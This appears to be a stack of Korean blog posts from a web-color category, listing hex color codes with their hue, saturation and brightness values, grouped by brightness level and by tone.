| #0000CC (240, 100, 80) | #2828CC (240, 80, 80) | #5151CC (240, 60, 80) | #7A7ACC (240, 40, 80) | #A3A3CC (240, 20, 80) |
| #6600CC (270, 100, 80) | #7A28CC (270, 80, 80) | #8E51CC (270, 60, 80) | #A37ACC (270, 40, 80) | #B7A3CC (270, 20, 80) |
| #CC00CC (300, 100, 80) | #CC28CC (300, 80, 80) | #CC51CC (300, 60, 80) | #CC7ACC (300, 40, 80) | #CCA3CC (300, 20, 80) |
| #CC0066 (330, 100, 80) | #CC287A (330, 80, 80) | #CC518E (330, 60, 80) | #CC7AA3 (330, 40, 80) | #CCA3B7 (330, 20, 80) |
명도 60%
2018. 7. 13. 23:01
채도 변화 (high-->low)
| #990000 (0, 100, 60) | #991E1E (0, 80, 60) | #993D3D (0, 60, 60) | #995B5B (0, 40, 60) | #997A7A (0, 20, 60) |
| #994C00 (30, 100, 60) | #995B1E (30, 80, 60) | #996B3D (30, 60, 60) | #997A5B (30, 40, 60) | #99897A (30, 20, 60) |
| #999900 (60, 100, 60) | #99991E (60, 80, 60) | #99993D (60, 60, 60) | #99995B (60, 40, 60) | #99997A (60, 20, 60) |
| #4C9900 (90, 100, 60) | #5B991E (90, 80, 60) | #6B993D (90, 60, 60) | #7A995B (90, 40, 60) | #89997A (90, 20, 60) |
| #009900 (120, 100, 60) | #1E991E (120, 80, 60) | #3D993D (120, 60, 60) | #5B995B (120, 40, 60) | #7A997A (120, 20, 60) |
| #00994C (150, 100, 60) | #1E995B (150, 80, 60) | #3D996B (150, 60, 60) | #5B997A (150, 40, 60) | #7A9989 (150, 20, 60) |
| #009999 (180, 100, 60) | #1E9999 (180, 80, 60) | #3D9999 (180, 60, 60) | #5B9999 (180, 40, 60) | #7A9999 (180, 20, 60) |
| #004C99 (210, 100, 60) | #1E5B99 (210, 80, 60) | #3D6B99 (210, 60, 60) | #5B7A99 (210, 40, 60) | #7A8999 (210, 20, 60) |
| #000099 (240, 100, 60) | #1E1E99 (240, 80, 60) | #3D3D99 (240, 60, 60) | #5B5B99 (240, 40, 60) | #7A7A99 (240, 20, 60) |
| #4C0099 (270, 100, 60) | #5B1E99 (270, 80, 60) | #6B3D99 (270, 60, 60) | #7A5B99 (270, 40, 60) | #897A99 (270, 20, 60) |
| #990099 (300, 100, 60) | #991E99 (300, 80, 60) | #993D99 (300, 60, 60) | #995B99 (300, 40, 60) | #997A99 (300, 20, 60) |
| #99004C (330, 100, 60) | #991E5B (330, 80, 60) | #993D6B (330, 60, 60) | #995B7A (330, 40, 60) | #997A89 (330, 20, 60) |
'컬러 > 웹컬러(Web Color)' 카테고리의 다른 글
| 명도 100% (0) | 2018.07.13 |
|---|---|
| 명도 80% (0) | 2018.07.13 |
| 명도 40% (0) | 2018.07.13 |
| 명도 20% (0) | 2018.07.13 |
| 선명한(vivid) 톤 (0) | 2018.07.13 |
명도 40%
2018. 7. 13. 23:00
채도 변화 (high-->low)
| #660000 (0, 100, 40) | #661414 (0, 80, 40) | #662828 (0, 60, 40) | #663D3D (0, 40, 40) | #665151 (0, 20, 40) |
| #663300 (30, 100, 40) | #663D14 (30, 80, 40) | #664728 (30, 60, 40) | #66513D (30, 40, 40) | #665B51 (30, 20, 40) |
| #666600 (60, 100, 40) | #666614 (60, 80, 40) | #666628 (60, 60, 40) | #66663D (60, 40, 40) | #666651 (60, 20, 40) |
| #336600 (90, 100, 40) | #3D6614 (90, 80, 40) | #476628 (90, 60, 40) | #51663D (90, 40, 40) | #5B6651 (90, 20, 40) |
| #006600 (120, 100, 40) | #146614 (120, 80, 40) | #286628 (120, 60, 40) | #3D663D (120, 40, 40) | #516651 (120, 20, 40) |
| #006633 (150, 100, 40) | #14663D (150, 80, 40) | #286647 (150, 60, 40) | #3D6651 (150, 40, 40) | #51665B (150, 20, 40) |
| #006666 (180, 100, 40) | #146666 (180, 80, 40) | #286666 (180, 60, 40) | #3D6666 (180, 40, 40) | #516666 (180, 20, 40) |
| #003366 (210, 100, 40) | #143D66 (210, 80, 40) | #284766 (210, 60, 40) | #3D5166 (210, 40, 40) | #515B66 (210, 20, 40) |
| #000066 (240, 100, 40) | #141466 (240, 80, 40) | #282866 (240, 60, 40) | #3D3D66 (240, 40, 40) | #515166 (240, 20, 40) |
| #330066 (270, 100, 40) | #3D1466 (270, 80, 40) | #472866 (270, 60, 40) | #513D66 (270, 40, 40) | #5B5166 (270, 20, 40) |
| #660066 (300, 100, 40) | #661466 (300, 80, 40) | #662866 (300, 60, 40) | #663D66 (300, 40, 40) | #665166 (300, 20, 40) |
| #660033 (330, 100, 40) | #66143D (330, 80, 40) | #662847 (330, 60, 40) | #663D51 (330, 40, 40) | #66515B (330, 20, 40) |
'컬러 > 웹컬러(Web Color)' 카테고리의 다른 글
| 명도 80% (0) | 2018.07.13 |
|---|---|
| 명도 60% (0) | 2018.07.13 |
| 명도 20% (0) | 2018.07.13 |
| 선명한(vivid) 톤 (0) | 2018.07.13 |
| 밝은(bright) 톤 (0) | 2018.07.13 |
명도 20%
2018. 7. 13. 23:00
| #330000 (0, 100, 20) | #330A0A (0, 80, 20) | #331414 (0, 60, 20) | #331E1E (0, 40, 20) | #332828 (0, 20, 20) |
| #331900 (30, 100, 20) | #331E0A (30, 80, 20) | #332314 (30, 60, 20) | #33281E (30, 40, 20) | #332D28 (30, 20, 20) |
| #333300 (60, 100, 20) | #33330A (60, 80, 20) | #333314 (60, 60, 20) | #33331E (60, 40, 20) | #333328 (60, 20, 20) |
| #193300 (90, 100, 20) | #1E330A (90, 80, 20) | #233314 (90, 60, 20) | #28331E (90, 40, 20) | #2D3328 (90, 20, 20) |
| #003300 (120, 100, 20) | #0A330A (120, 80, 20) | #143314 (120, 60, 20) | #1E331E (120, 40, 20) | #283328 (120, 20, 20) |
| #003319 (150, 100, 20) | #0A331E (150, 80, 20) | #143323 (150, 60, 20) | #1E3328 (150, 40, 20) | #28332D (150, 20, 20) |
| #003333 (180, 100, 20) | #0A3333 (180, 80, 20) | #143333 (180, 60, 20) | #1E3333 (180, 40, 20) | #283333 (180, 20, 20) |
| #001933 (210, 100, 20) | #0A1E33 (210, 80, 20) | #142333 (210, 60, 20) | #1E2833 (210, 40, 20) | #282D33 (210, 20, 20) |
| #000033 (240, 100, 20) | #0A0A33 (240, 80, 20) | #141433 (240, 60, 20) | #1E1E33 (240, 40, 20) | #282833 (240, 20, 20) |
| #190033 (270, 100, 20) | #1E0A33 (270, 80, 20) | #231433 (270, 60, 20) | #281E33 (270, 40, 20) | #2D2833 (270, 20, 20) |
| #330033 (300, 100, 20) | #330A33 (300, 80, 20) | #331433 (300, 60, 20) | #331E33 (300, 40, 20) | #332833 (300, 20, 20) |
| #330019 (330, 100, 20) | #330A1E (330, 80, 20) | #331423 (330, 60, 20) | #331E28 (330, 40, 20) | #33282D (330, 20, 20) |
'컬러 > 웹컬러(Web Color)' 카테고리의 다른 글
| 명도 60% (0) | 2018.07.13 |
|---|---|
| 명도 40% (0) | 2018.07.13 |
| 선명한(vivid) 톤 (0) | 2018.07.13 |
| 밝은(bright) 톤 (0) | 2018.07.13 |
| 강한(strong) 톤 (0) | 2018.07.13 |
선명한(vivid) 톤
2018. 7. 13. 22:58
| #FF0066 (336, 100, 100) | #FF0033 (348, 100, 100) | #FF0000 (0, 100, 100) | #FF3300 (12, 100, 100) | #FF6600 (24, 100, 100) |
| #FF9900 (36, 100, 100) | #FFCC00 (48, 100, 100) | #FFFF00 (60, 100, 100) | #CCFF00 (72, 100, 100) | #99FF00 (84, 100, 100) |
| #66FF00 (96, 100, 100) | #33FF00 (108, 100, 100) | #00FF00 (120, 100, 100) | #00FF33 (132, 100, 100) | #00FF66 (144, 100, 100) |
| #00FF99 (156, 100, 100) | #00FFCC (168, 100, 100) | #00FFFF (180, 100, 100) | #00CCFF (192, 100, 100) | #0099FF (204, 100, 100) |
| #0066FF (216, 100, 100) | #0033FF (228, 100, 100) | #0000FF (240, 100, 100) | #3300FF (252, 100, 100) | #6600FF (264, 100, 100) |
| #9900FF (276, 100, 100) | #CC00FF (288, 100, 100) | #FF00FF (300, 100, 100) | #FF00CC (312, 100, 100) | #FF0099 (324, 100, 100) |
- 16진수 컬러 표기 아래 괄호 안의 숫자는 순서대로 색상(Hue), 채도(Saturation), 명도(Brightness)를 나타냅니다.
'컬러 > 웹컬러(Web Color)' 카테고리의 다른 글
| 명도 40% (0) | 2018.07.13 |
|---|---|
| 명도 20% (0) | 2018.07.13 |
| 밝은(bright) 톤 (0) | 2018.07.13 |
| 강한(strong) 톤 (0) | 2018.07.13 |
| 깊은(deep) 톤 (0) | 2018.07.13 |
밝은(bright) 톤
2018. 7. 13. 22:57
| #FF3384 (336, 80, 100) | #FF335B (348, 80, 100) | #FF3333 (0, 80, 100) | #FF5B33 (12, 80, 100) | #FF8433 (24, 80, 100) |
| #FFAD33 (36, 80, 100) | #FFD633 (48, 80, 100) | #FFFF33 (60, 80, 100) | #D6FF33 (72, 80, 100) | #ADFF33 (84, 80, 100) |
| #84FF33 (96, 80, 100) | #5BFF33 (108, 80, 100) | #33FF33 (120, 80, 100) | #33FF5B (132, 80, 100) | #33FF84 (144, 80, 100) |
| #33FFAD (156, 80, 100) | #33FFD6 (168, 80, 100) | #33FFFF (180, 80, 100) | #33D6FF (192, 80, 100) | #33ADFF (204, 80, 100) |
| #3384FF (216, 80, 100) | #335BFF (228, 80, 100) | #3333FF (240, 80, 100) | #5B33FF (252, 80, 100) | #8433FF (264, 80, 100) |
| #AD33FF (276, 80, 100) | #D633FF (288, 80, 100) | #FF33FF (300, 80, 100) | #FF33D6 (312, 80, 100) | #FF33AD (324, 80, 100) |
- 16진수 컬러 표기 아래 괄호 안의 숫자는 순서대로 색상(Hue), 채도(Saturation), 명도(Brightness)를 나타냅니다.
'컬러 > 웹컬러(Web Color)' 카테고리의 다른 글
| 명도 20% (0) | 2018.07.13 |
|---|---|
| 선명한(vivid) 톤 (0) | 2018.07.13 |
| 강한(strong) 톤 (0) | 2018.07.13 |
| 깊은(deep) 톤 (0) | 2018.07.13 |
| 가벼운(light) 톤 (0) | 2018.07.13 |
강한(strong) 톤
2018. 7. 13. 22:57
| #CC286A (336, 80, 80) | #CC2849 (348, 80, 80) | #CC2828 (0, 80, 80) | #CC4928 (12, 80, 80) | #CC6A28 (24, 80, 80) |
| #CC8A28 (36, 80, 80) | #CCAB28 (48, 80, 80) | #CCCC28 (60, 80, 80) | #ABCC28 (72, 80, 80) | #8ACC28 (84, 80, 80) |
| #6ACC28 (96, 80, 80) | #49CC28 (108, 80, 80) | #28CC28 (120, 80, 80) | #28CC49 (132, 80, 80) | #28CC6A (144, 80, 80) |
| #28CC8A (156, 80, 80) | #28CCAB (168, 80, 80) | #28CCCC (180, 80, 80) | #28ABCC (192, 80, 80) | #288ACC (204, 80, 80) |
| #286ACC (216, 80, 80) | #2849CC (228, 80, 80) | #2828CC (240, 80, 80) | #4928CC (252, 80, 80) | #6A28CC (264, 80, 80) |
| #8A28CC (276, 80, 80) | #AB28CC (288, 80, 80) | #CC28CC (300, 80, 80) | #CC28AB (312, 80, 80) | #CC288A (324, 80, 80) |
- 16진수 컬러 표기 아래 괄호 안의 숫자는 순서대로 색상(Hue), 채도(Saturation), 명도(Brightness)를 나타냅니다.
'컬러 > 웹컬러(Web Color)' 카테고리의 다른 글
| 선명한(vivid) 톤 (0) | 2018.07.13 |
|---|---|
| 밝은(bright) 톤 (0) | 2018.07.13 |
| 깊은(deep) 톤 (0) | 2018.07.13 |
| 가벼운(light) 톤 (0) | 2018.07.13 |
| 부드러운(soft) 톤 (0) | 2018.07.13 |